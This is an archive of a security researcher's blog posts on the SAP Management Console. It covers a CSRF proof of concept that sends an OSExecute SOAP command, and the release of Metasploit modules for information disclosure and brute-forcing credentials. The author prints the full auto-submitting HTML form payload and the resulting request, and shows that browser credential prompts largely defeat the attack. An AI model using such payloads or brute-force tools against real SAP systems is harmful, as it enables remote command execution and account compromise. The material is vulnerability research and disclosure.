Cатсн²² (in)sесuяitу / ChrisJohnRiley

Because we're damned if we do, and we're damned if we don't!

Tag Archives: SOAP

The CSRF that almost was…

It’s strange sometimes where your inspiration comes from, but regardless of where, it’s good to be back in the saddle when it comes to really enjoying some research. Some people close to me might already be aware, but I’ve not really been “into it” for a while now, as can be seen by the lack of blog posts or interesting content. Lets hope this is the light at the end of that tunnel (… and that it’s not a train, obviously ;)

So, back to the interesting idea. A lot of the research I did into the SAP Management Console was about what an attacker could do accessing it from the internet, or directly when on the local LAN segment. Although there’s probably a lot more attackers could do with this stuff, the protections that SAP have rolled out should be enough to deter most casual attackers. I’d also looked at what attackers could do to attack client-side, by sitting in the middle and providing a tainted JAVA applet when an administrator comes to load the SAP Management Console… or even forcing Basic Authentication at points before the application requires it. The thing I’d not really done was think about what an attacker could do from the internet without ever actually having access to the SAP Management Console.

Looking back at history a bit, I re-read some posts on using CSRF attacks to change settings on local ADSL routers. The attack isn’t new, and there’s more than a few resources discussing it. However I was interested to see if this sort of attack could be used to perform remote code execution on the SAP Management Console using the OSExecute method. Normally this is an authenticated method, so an attacker would need a username / password, but by using CSRF, this seemed like it could be bypassed if certain conditions were met (i.e. an administrator can be lured to the CSRF page, and they are logged into the SAP MC, or have clicked the “save password” prompt to save time on future logons).

Starting off I needed to find a solution to force a user to perform a POST request, as the SOAP message can’t be sent over GET unfortunately. After a bit or playing and research I stumbled on a post by pentest monkey detailing some work he’d done on the same issue. Using an HTML form containing the contents of the POST request as the name field, it was possible to send the desired request. By adding a JavaScript trigger it was also possible to send the form (and thus the POST request) without user actions. So, all well and good.

<FORM NAME="sap" id="sap" ENCTYPE="text/plain" action="http://server.example.com:50013" method="POST">
<input type="hidden" name='<?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema"><SOAP-ENV:Header><sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/"><enableSession>true</enableSession></sapsess:Session></SOAP-ENV:Header><SOAP-ENV:Body><ns1:OSExecute xmlns:ns1="urn:SAPControl"><command>cmd /c echo "wimming" > c:\temp\proof.txt</command><async>0</async></ns1:OSExecute></SOAP-ENV:Body></SOAP-ENV:Envelope>'>

The above FORM includes a complete SOAP request (using the OSExecute method) within the first input name field. In the case of the POC script, the servername is set using a variable passed to the page forming the POST message. The name of the SAP system internally can easily be found using one of the SAP Management Console modules that are now in Metasploit.

To get the form to automatically submit without user interaction, I added the following JavaScript… (tested in Chrome, IE and Firefox)

function myfunc () {
var frm = document.getElementById("sap");
window.onload = myfunc;

The result is a page that forms a valid POST request to the SAP Management Console inside the targets network.

Host: server.example.com:50013
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:6.0.1) Gecko/20100101 Firefox/6.0.1
Referer: http://www.catch22insecurity.com/POC/soap_post.php?servername=server.example.com
Content-Type: text/plain
Content-Length: 575

<?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema"><SOAP-ENV:Header><sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/"><enableSession>true</enableSession></sapsess:Session></SOAP-ENV:Header><SOAP-ENV:Body><ns1:OSExecute xmlns:ns1="urn:SAPControl"><command>cmd /c echo "wimming" > c:\temp\proof.txt</command><async>0</async></ns1:OSExecute></SOAP-ENV:Body></SOAP-ENV:Envelope>=

Despite the additional “=” sign being tagged onto the end (as a result of the HTML FORM), the request is valid and will be honored by the SAP Management Console if valid credentials are already saved in the browser being used, or a valid Basic Auth header is present… and THIS is where the “almost was” comes into play.

When testing it became evident that browsers (IE and Firefox at the very least) don’t automate the response of valid credentials when they’re stored in the browsers password store. When the SAP Management Console responds to the target asking for credentials, even if they’re stored in the browser, the user is prompted to click OK on the already filled out username/password box.

Well that’s a pity! … and no change when serving it up over SSL either.

So where does this work?

So as to not totally come out of this a looser, where does (or could) this attack work. Sticking with SAP Management Console there are a few places it could still work well.

  • The obvious –> Admins that click-through anything. If the user accepts (or enters) valid credentials, then the OSExecute will be successful.
  • SAP MC Methods that are not protected –> Anything where a blind request can be sent and an action is performed without requesting credentials. This is limited in SAP, and as no response can be received by the attacker, the scope is limited.
  • Attacks against specific SSO implementations –> Not naming names, but there are more than a few Single Sign On solutions out there that take the place of browser passwords stores (and other password stores). These solutions may act differently when saving a password… I’ve seen implementations that fill in the credentials and submit them without user action.
  • Situations where an SAP Administrator has already performed direct actions against the SAP Management Console through the browser, thus setting a valid Basic Auth token –> Few and far between, as the interaction is mostly through MMC of JAVA applets that do not need to use the browser.
  • Exploit delivery –> There are, and will probably be in the future, valid one request exploits against SAP Management Console. This attack vector would allow these exploits to be delivered as long as no credentials or other user input is required.

Well there it is… The time invested was minimal and as with everything, you learn as you fail… Feel free to take a look at the POC I put up on my site if you want to try it out for yourself. Please don’t abuse it though!

POC .:

Metasploit SAP Management Console AUX Modules: The RELEASE

So, the nice people at Metasploit (thanks HDM, Bannedit) have committed a bunch of my SAP auxiliary modules to the Metasploit SVN tree [r11858].

Alongside the modules I already released, I also finished up testing on the SAP_service_discovery module and wrote a new module sap_mgmt_con_brute for brute-forcing username|password through the SAP Management Consoles Basic Auth authentication*.

As these are MyFirst© Metasploit modules I’d appreciate any feedback you might have. I’ve still got a few modules to write-up once I get time, but I think these should be enough for you guys to be going on with.

Have fun, but not too much fun 😉


Special thanks to Bannedit (and all the others in #Metasploit) for putting up with silly Ruby/Metasploit questions!

* This is a brute-force module… you may lock out accounts. Obvious really, but apparently that needs to be said!

Metasploit SAP Management Console AUX Modules

It’s been a tough few months, not only with Christmas, new years and the inevitable travelling that brings, but also dealing with what I can only assume is one of the worst written and conceived programs I’ve ever had to install (more about that in another post though!). I can only guess this is how SAP deter security researchers… by making it a weeks work just to get a single SAP test instance up and working 😉

Anyway, where was I. Oh yeah. Although the basic premise of my research was quick to formulate, I’ve had to invest a lot of the time (more than I care to admit) in fighting to the death setting up a couple of test SAP servers (SuSE Linux and Windows-based) to fully test what was possible and what wasn’t through the SAP Management Console. It’s been an interesting journey!

The auxiliary modules  I’m releasing today are based on an information disclosure bug I noticed while conducting some SAP research back in November 2010. During the time it took me to write-up and release these modules, the main issue was also discovered and reported by researchers at Onapsis (a company known for it’s SAP security research). I know it’s not unusual for multiple researchers to find the same issue at the same time, so I guess I’ll just need to be faster next time 😉

I see no ethical issue in releasing the information gathering modules that take advantage of this bug, as quite honestly, anybody with an SAP system and tcpdump could find this in a few minutes seconds. I’ve not looked further into the Onapsis DoS condition mentioned in Onapsis-2011-002, but will add it to the list of things to look at in the next phase of my research.

Although the Onapsis advisory only mentions Information Disclosure and a single DoS condition, I think there is more gold here to be found here, so keep an eye out for some further SAP Management Console modules in the future. I’ve already got a few ideas what’s coming next. It’s just getting the time to implement these ideas in Metasploit.

Auxiliary Modules:

Note: To use these modules with your current Metasploit install, place them into your ~/.msf3/modules folder (retaining the directory structure above… e.g. auxiliary/scanner/sap).


You can find out more detailed information about the modules and download copies of the .rb files (they are not currently available in the Metasploit SVN) by following the below links, or viewing them through the Tools/Scripts Menu.

Demo Video:


These are my first Metasploit modules, so as a non ruby programmer (and non programmer in general) please excuse the odd bad practice when it comes to coding. Any feedback (good or bad) is always gratefully received!


updated [10.01.11] – Reworded my sleep deprived version for something that actually makes sense!